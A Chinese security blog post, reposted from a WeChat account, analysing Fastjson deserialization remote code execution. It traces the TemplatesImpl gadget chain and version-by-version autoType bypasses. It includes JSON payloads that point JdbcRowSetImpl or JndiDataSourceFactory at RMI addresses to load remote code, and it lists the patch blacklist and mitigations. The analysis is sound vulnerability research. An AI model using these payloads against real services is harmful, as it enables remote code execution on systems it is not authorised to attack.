1. 威客安全首页
  2. 默认分类

FastJson 反序列化学习

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

1.分析过程

1.1 什么是fastjson

Fastjson是一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。最早的通告在这里。而fastjson的用法可以先看看下面这个例子。

先定义一个User类

package com.l1nk3r.fastjson;

public class User {
private String name;
private int age;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}

package com.l1nk3r.fastjson;

import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.l1nk3r.fastjson.User;
public class Testfastjson {

public static void main(String[] args){
Map<String, Object> map = new HashMap<String, Object>();
map.put(“key1″,”One”);
map.put(“key2”, “Two”);
String mapJson = JSON.toJSONString(map);
System.out.println(mapJson);

User user1 = new User();
user1.setUsername(“xiaoming”);
user1.setSex(“male”);
System.out.println(“obj name:”+user1.getClass().getName());

//序列化
String serializedStr = JSON.toJSONString(user1);
System.out.println(“serializedStr=”+serializedStr);

String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
System.out.println(“serializedStr1=”+serializedStr1);

//通过parse方法进行反序列化
User user2 = (User)JSON.parse(serializedStr1);
System.out.println(user2.getUsername());
System.out.println();

//通过parseObject方法进行反序列化  通过这种方法返回的是一个JSONObject
Object obj = JSON.parseObject(serializedStr1);
System.out.println(obj);
System.out.println(“obj name:”+obj.getClass().getName()+”n”);

//通过这种方式返回的是一个相应的类对象
Object obj1 = JSON.parseObject(serializedStr1,Object.class);
System.out.println(obj1);
System.out.println(“obj1 name:”+obj1.getClass().getName());

}
}

结果如下所示:

{“key1″:”One”,”key2″:”Two”}
obj name:com.l1nk3r.fastjson.User
serializedStr={“Sex”:”male”,”Username”:”xiaoming”,”sex”:”male”,”username”:”xiaoming”}
serializedStr1={“@type”:”com.l1nk3r.fastjson.User”,”Sex”:”male”,”Username”:”xiaoming”,”sex”:”male”,”username”:”xiaoming”}
xiaoming

{“Username”:”xiaoming”,”Sex”:”male”,”sex”:”male”,”username”:”xiaoming”}
obj name:com.alibaba.fastjson.JSONObject

com.l1nk3r.fastjson.User@1b9e1916
obj1 name:com.l1nk3r.fastjson.User

FastJson利用 toJSONString 方法来序列化对象,而反序列化还原回 Object 的方法,主要的API有两个,分别是 JSON.parseObject 和 JSON.parse ,最主要的区别就是前者返回的是 JSONObject 而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用 JSON.parseObject 来获取数据。

我们可以看到使用 SerializerFeature.WriteClassName 时会在序列化中写入当前的type, @type 可以指定反序列化任意类,调用其set,get,is方法。而问题恰恰出现在了这个特性,我们可以配合一些存在问题的类,然后继续操作,造成RCE的问题,我们可以看下面这个例子通过指定 @type ,成功获取了相关数据。


package com.l1nk3r.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Test {
public static void main(String[] args) {
String myJSON = “{“@type”:”User”,”Username”:”l1nk3r”,”Sex”:”male”}”;
JSONObject u3 = JSON.parseObject(myJSON);
System.out.println(“result => ” + u3.get(“Username”));
}
}

结果

result => l1nk3r

1.22 fastjason

之前关于这个漏洞流传的poc基本上都是

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImp 这个类。而这个类在7u21的反序列化 gadget 过程中,也出现过,这样来看还是需要详细跟一下,在反序列化,下面这行代码位置下个断点。

Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

FastJson 反序列化学习

然后便进入com.alibaba.fastjson.JSON这个类中,并使用parser.parseObjec来解析我们传入的数据。

FastJson 反序列化学习

继续跟进,来到了com.alibaba.fastjson.parser.DefaultJSONParser这个类中,调用了derializer.deserialze来解析传入的数据。

FastJson 反序列化学习

由于 deserialze 是一个接口,前面的序列化方法类是

com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer#deserialze 。

FastJson 反序列化学习

因此这里自然继续跟入之后会来到这个

com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer类中进行相关操作,而这里有这么一段代码。

else {
return type instanceof Class && type != Object.class && type != Serializable.class ? parser.parseObject(type) : parser.parse(fieldName);
}

这段代码又重新回到了 com.alibaba.fastjson.parser.DefaultJSONParser 这个类中,并且调用parseObject方法来处理我们传入的数据。

FastJson 反序列化学习

这个 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject 有说法,我们可以慢慢来看。

FastJson 反序列化学习

首先我们传入的 text 的值是我们构造好的 payload ,而token是等于12,根据这里if选择,理论上应该是要进入值为12的选择进行处理,所里这种情况下,自然就进入了最后一个else进行了处理。这里开始会针对我们text里面的特殊符号进行一个处理判断( lexer.skipWhitespace ),而 skipWhitespace 实现就是下面这部分代码。

public final void skipWhitespace() {
while(true) {
while(true) {
if (this.ch <= ‘/’) {
if (this.ch == ‘ ‘ || this.ch == ‘r’ || this.ch == ‘n’ || this.ch == ‘t’ || this.ch == ‘f’ || this.ch == ‘b’) {
this.next();
continue;
}

if (this.ch == ‘/’) {
this.skipComment();
continue;
}
}

return;

所以这里的ch结果是”,于是便进入下图代码中进行处理。

FastJson 反序列化学习

而部分代码需要关注的就是这一行。

FastJson 反序列化学习

在 com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol 其实也是一个根据特殊符号进行选择,然后进入相应的位置进行处理的,我们可以看到当前的chLocal是@符号,而quote是”符号。


FastJson 反序列化学习

由于我们的@type是通过两个”闭合的,这部分while循环一直遍历到@type后面的”时候,自然就进入这个相等的if进行处理。

FastJson 反序列化学习

经过这一系列的处理之后,com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol的返回结果自然是@type。

FastJson 反序列化学习

也就是我们最开始时候key的结果是@type,而继续往下自然进入到了这里。

FastJson 反序列化学习

而根据前面的分析,我们知道scanSymbol方法会遍历”内的数据,当数据一样的时候,就会直接放回value的结果,经过处理之后,这里的clazz的结果自然是我们需要的那个rce的触发类。

FastJson 反序列化学习

我们前面说过由于 deserialze 是一个接口,前面的序列化方法类是

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze ,而传入的clazz正是我们想要实例化的一个利用类。

FastJson 反序列化学习

我们详细看看com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze是如何处理的,进来之后,token是16,而text正是我们传入的值。

FastJson 反序列化学习

经过处理这里会调用

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField方法,

boolean match = this.parseField(parser, key, object, type, fieldValues);

跟进这个方法,这个方法首先会调用smartMatch方法来处理我们传入的key值,而这里的key值就是我们json中的那些字段,比如:_outputProperties、_name、_bytecodes等。

FastJson 反序列化学习

这个方法的主要作用是进行一些『智能匹配』,方便后续获取对应变量的getter和setter。调用后这个方法会去掉字符串中的-、删除开头的下划线等,所以当我们传入了_bytecodes的时候,实际上就给处理成了bytecodes,并返回对应的FieldDeserializer对象。

FastJson 反序列化学习

而经过处理之后,这里的parseField也是一个接口,根据前面流程,这里的parseField进入的是会调用com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField方法来进行处理。

lexer.nextTokenWithColon(((FieldDeserializer)fieldDeserializer).getFastMatchToken());
((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);
return true;

FastJson 反序列化学习

这里 fieldValueDeserilizer 的对象是 ObjectArrayCodec ,所以这里自然会进入 com.alibaba.fastjson.serializer.ObjectArrayCodec#parseArray 

FastJson 反序列化学习

而在com.alibaba.fastjson.serializer.ObjectArrayCodec#parseArray中,所以这里又会调用 com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze 。

FastJson 反序列化学习

而在fastjson在处理[B类型的数组时,会调用lexer.bytesValue(),其中的lexer对应的内容就是JSONScanner。

FastJson 反序列化学习

而这个bytesValue()方法会自动帮我们执行一次base64解码。

public byte[] bytesValue() {
return IOUtils.decodeBase64(this.text, this.np + 1, this.sp);
}

然后最后会在 com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer 中,通过setValue方式将value赋值给我们要执行的特殊类。

FastJson 反序列化学习

当处理_OutputProperties时也先会将_去掉,然后调用该属性的get方法:getOutputProperties()。

FastJson 反序列化学习

然后回到用method.invoke通过反射的方式实例化我们的要调用的类

FastJson 反序列化学习

我们可以看这部分的反射调用链,很明显了。

FastJson 反序列化学习

在 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties 中调用了 newTransformer 

public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

继续跟进 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer 中调用了 getTransletInstance 

public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

首先在

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance 方法中_name不能为空,然后这里会调用 defineTransletClassess 来处理传入的class对象。

FastJson 反序列化学习

在 defineTransletClassess 中,这里会调用 defineClass 进行处理,我们可以看到这里解析的class的name正是我们POC中构造的com.l1nk3r.fastjson.Test类。

FastJson 反序列化学习

然后会判断这个类的父类是不是

com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 。

FastJson 反序列化学习

所以这也是为什么我们要在POC构造的过程中继承

com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。

FastJson 反序列化学习

然后会调用 newInstance ,实力化我们的传入解析的那个class对象。

FastJson 反序列化学习

然后自然就可以rce了。

FastJson 反序列化学习

这是一个调用链。

exec:347, Runtime (java.lang)
<init>:13, Test (com.l1nk3r.fastjson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:80, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:722, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:568, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:187, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:183, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
test_autoTypeDeny:44, Poc (com.l1nk3r.fastjson)
main:50, Poc (com.l1nk3r.fastjson)

P0C

@type

指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在poc中,_bytecodes与_name都是私有属性,所以要想反序列化这两个,需要在parseObject()时设置Feature.SupportNonPublicField

_bytecodes

是我们把恶意类的.class文件二进制格式进行base64编码后得到的字符串

_outputProperties

漏洞利用链的关键会调用其参数的getOutputProperties方法 导致命令执行

_tfactory:{}

在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值

_bytecodes而生成类的实例,再者因为传进去的参数都会经过 key.replaceAll(“_”, “”); 处理,所以使用_OutputProperties参数最终会调用getOutputProperties()方法进而触发后面的利用链。


关于FastJson的解析过程分析

package com.l1nk3r.fastjson;

import java.util.Properties;

public class Person {
public String name;
private int age;
private Boolean sex;
private Properties prop;

public Person(){
System.out.println(“User()”);
}
public void setAge(int age){
System.out.println(“setAge()”);
this.age = age;
}

public Boolean getSex(){
System.out.println(“getSex()”);
return this.sex;
}
public Properties getProp(){
System.out.println(“getProp()”);
return this.prop;
}
public String toString() {
String s = “[User Object] name=” + this.name + “, age=” + this.age + “, prop=” + this.prop + “, sex=” + this.sex;
return s;
}
}

package com.l1nk3r.fastjson;

import com.alibaba.fastjson.JSON;

public class TestPerson {
public static void main(String[] args){
String eneity3 = “{“@type”:”com.l1nk3r.fastjson.Person”, “name”:”Tom”, “age”: 13, “prop”: {}, “sex”: 1}”;
Object obj = JSON.parseObject(eneity3,Person.class);
System.out.println(obj);
}
}

输出结果如下:

User()
setAge()
getProp()
[User Object] name=Tom, age=13, prop=null, sex=null

我们可以看到

public修饰的name被序列化
private修饰的age 反序列化成功  setter函数被调用        
private修饰的sex 未被反序列化  getter函数没有被调用        
private修饰的prop 没有被反序列化 但是getter函数被调用

这里的sex与prop都为private变量,且都无setter方法,但是prop的getter函数被调用,sex的没有,所以我们看看源码,核心在 com.alibaba.fastjson.util.JavaBeanInfo ,该类会区分情况进行处理,会将满足条件的方法添加到fieldList列表当中供后面的反序列化操作进行调用。

FastJson 反序列化学习

满足条件的setter:

1.方法名长度大于4且以set开头
2.非静态函数        
3.返回类型为void或当前类
4.参数个数为1个

满足条件的getter:

1.方法名长度大于等于4        
2.非静态方法
3.以get开头且第4个字母为大写
4.无参数
5.返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

我们上面例子中的getProp()返回类型为Properties,而Properties extends Hashtable,而Hashtable implements Map,所以getProp()会被调用而getsex()没有,那么当该get方法中存在一些危险操作的调用链,就会造成任意命令执行。

FastJson 反序列化学习

1.23 补丁

补丁中增加了checkAutoType构造方法,并且限制了黑名单和白名单。

FastJson 反序列化学习

黑名单主要由这些

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils,
org.apache.commons.collections.Transformer,
org.apache.commons.collections.functors,
org.apache.commons.collections4.comparators,
org.apache.commons.fileupload,
org.apache.myfaces.context.servlet,
org.apache.tomcat,
org.apache.wicket.util,
org.codehaus.groovy.runtime,
org.hibernate,
org.jboss,
org.mozilla.javascript,
org.python.core,org.springframework

1.24 小结

关于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImp这个利用链,默认情况下fastjson只会反序列化public的方法和属性,而我们构造的PoC中有private的成员变量_bytecodes和_name,为了给这些变量赋值,则必须要服务端开启了SupportNonPublicField功能。

总结下就是Fastjson反序列化jsonStr时:

parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter()                            
parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter()                    
parseObject(jsonStr,*.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()

1.25 几种bypass方法

v1.2.41

方法:

Lcom.sun.rowset.JdbcRowSetImpl;

详细看看

首先经过补丁修复之后,会在 com.alibaba.fastjson.parser.DefaultJSONParser 中调用 checkAutoType 来检查我们传入的类是不是在黑名单中,我们构造的这个类自然不在这个黑名单中,所以自然就过了这部分的检测。

FastJson 反序列化学习

上面一系列流程跟完之后,会进入到这么一行代码

if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

而loadClass方法的作用是将开头的L和结尾的;去除。

FastJson 反序列化学习

然后自然就返回了我们想要的对象。

FastJson 反序列化学习
FastJson 反序列化学习

然后核心的处理流程其实和之前的实例化这个类的过程一样。

setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:742, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:1240, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:370, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1335, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1301, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
testJdbcRowSetImpl:17, OtherPOC (com.l1nk3r.fastjson)
main:9, OtherPOC (com.l1nk3r.fastjson)

这里我关心的是为什么com.sun.rowset.JdbcRowSetImpl这个方法能够导致触发RCE的问题,因为传入dataSourceName,先调用其setter方法。

FastJson 反序列化学习

传入了autoCommit:true,所以反序列化时会调用setAutoCommit()。

FastJson 反序列化学习

跟进connect方法,这里的getDataSoureceName返回的是dataSource,因此结果自然是我们传入的dataSource的值。

FastJson 反序列化学习

V1.2.42

补丁

补丁中采用黑名单的方式来deny类。

FastJson 反序列化学习

然后移除开头的L和结尾的;

FastJson 反序列化学习

绕过

LLcom.sun.rowset.JdbcRowSetImpl;;

FastJson 反序列化学习

V1.2.43

补丁

补丁中遇到typeName为LL…;;,便会抛出异常然后退出。

FastJson 反序列化学习

绕过

[com.sun.rowset.JdbcRowSetImpl

因为我们最早看到loadclass会去掉的不仅仅是L和;,还有[,但是实际测试下来无法成功。

FastJson 反序列化学习

v1.2.45

POC:
{“@type”:”org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”,”properties”:{“data_source”:”rmi://localhost:1099/Exploit”}}

原因:

黑名单绕过

补丁:

黑名单扩展

FastJson 反序列化学习

v1.2.47

我们都知道fastjson会使用 checkAutoType 方法来检测@type中携带的类,而这次bypass看到payload主要用到的是java.lang.class,在 com/alibaba/fastjson/parser/DefaultJSONParser 方法中调用checkAutoType方法来进行检测,这里传入的类就是我们用到的java.lang.class。

FastJson 反序列化学习

而这里用到的java.lang.class并不在我们的黑名单类中,因此这里的黑名单检测是通过的,然后就和之前流程一样调用 deserializer.deserialze 来处理我们传入的clazz,也就是java.lang.class。而这里对应的deserialze方法和之前的触发稍微有一点点区别,这里的deserialze用的是

com.alibaba.fastjson.serializer.MiscCodec#deserialze

FastJson 反序列化学习

进入到 com.alibaba.fastjson.serializer.MiscCodec#deserialze ,这里会调用

com.alibaba.fastjson.parser.DefaultJSONParser#parser 方法来取出我们传入的恶意类

com.sun.rowset.JdbcRowSetImpl

FastJson 反序列化学习

然后就把这个东西丢给 objVal ,然后进入一系列的if判断。

FastJson 反序列化学习

其中这里有一段判断,如果解析出来的clazz为java.lang.Class,这里就会调用

com.alibaba.fastjson.util.TypeUtils#loadClass方法来加载我们传入的strVal,而这里的strVal正是要调用的恶意类com.sun.rowset.JdbcRowSetImpl。


FastJson 反序列化学习

而跟进 loadClass 方法,这里将我们的恶意类com.sun.rowset.JdbcRowSetImpl放到的 mapping 中。

FastJson 反序列化学习

我们看到放到mapping之前有个if判断,如果cache为true的情况下,就把这个东西放到mapping中,而这里的cache实际上默认就是为true的。

public static Class<?> loadClass(String className, ClassLoader classLoader) {
   return loadClass(className, classLoader, true);
}

而这里再回到 checkAutoType 中,我们再看看这个名单检测,截取一下部分代码,理一下思路,如果我们当前mapping中存在恶意类,那么这里会从mapping中取出恶意类赋值给clazz,然后因为9-14行代码中clazz不为空,所以这里直接返回了恶意类。

FastJson 反序列化学习

当然最后的结果也是验证了猜想,这里直接就返回恶意类com.sun.rowset.JdbcRowSetImpl。

FastJson 反序列化学习

然后后面就和之前的利用方法一样了。

补丁

1.47和1.48的差别首先将loadClass中的默认true修改成为了fasle。

FastJson 反序列化学习

然后就是增加更多的黑名单。

2.小结

目前来看fastjson的@type能够指定实例化对象是它的一个特性,这个特性可能存在一系列的风险。随着Java生态不断引入第三方组件的情况下,就有个可能出现新的绕过。从业务上来说我觉得这个功能可能是多余的,一般对于业务来说,你能提供json解析对象获取即可,我不太清楚开发者设计这个功能的初衷在哪里。

防御方案

1、FastJson升级到最新1.2.58版本;

2、采用默认的关闭autotype

3.题外话

在翻github的提交记录的时候我发现了一个很神奇的东西,链接在这里

public void test_0() throws Exception {
       String payload=”{“@type”:”java.lang.Class”,”val”:”com.sun.rowset.JdbcRowSetImpl”}”;
       String payload_2 = “{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”rmi://127.0.0.1:8889/xxx”,”autoCommit”:true}”;

           try {
               JSON.parseObject(payload);
           } catch (Exception e) {
               error = e;
           }
       }

           try {
               JSON.parseObject(payload_2);
           } catch (Exception e) {
               error2 = e;
           }


   public void test_dns() throws Exception {
       String f2 = “{“@type”:”java.net.InetAddress”,”val”:”baidu.com”}”;

       Throwable error = null;
       try {
           JSON.parse(f2, config);
       } catch (JSONException ex) {
           error = ex;
       }
       assertNotNull(error);
   }

   public void test_3() throws Exception {
       String f2 = “{“@type”:”java.net.InetAddress”,”val”:”baidu.com”}”;

       Throwable error = null;
       try {
           JSON.parse(f2, config);
       } catch (JSONException ex) {
           error = ex;
       }
       assertNotNull(error);
   }

我们看到fastjson在测试修复的时候,将一些测试payload携带了进去,从commit记录来看去年应该就修复了。但是怎么说呢,这些信息留在这里始终是不好的。

招聘启事

安全招聘
————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:安服战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部),广州
岗位剩余编制:3人
工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;


岗位:安全红队武器自动化攻城狮
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3.熟悉OWASP TOP 10常见WEB安全漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
4.在互联网企业有相关安全产品开发经验优先;
5.具备良好的英语文档阅读能力。


简历投递至 strategy@dbappsecurity.com.cn
PS:邮件主题中请注明工作意向城市,岗位要求可通过加分项弥补

设计师

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽


简历投递至 strategy@dbappsecurity.com.cn

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。


简历投递至 strategy@dbappsecurity.com.cn

FastJson 反序列化学习

专注渗透测试技术

全球最新网络攻击技术

END

FastJson 反序列化学习

——

———


原文始发于微信公众号(E安全):FastJson 反序列化学习

本文转为转载文章,本文观点不代表威客安全立场。

发表评论

登录后才能评论

联系我们

15110186328

在线咨询:点击这里给我发消息

邮件:zhanglei@jinlongsec.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code
X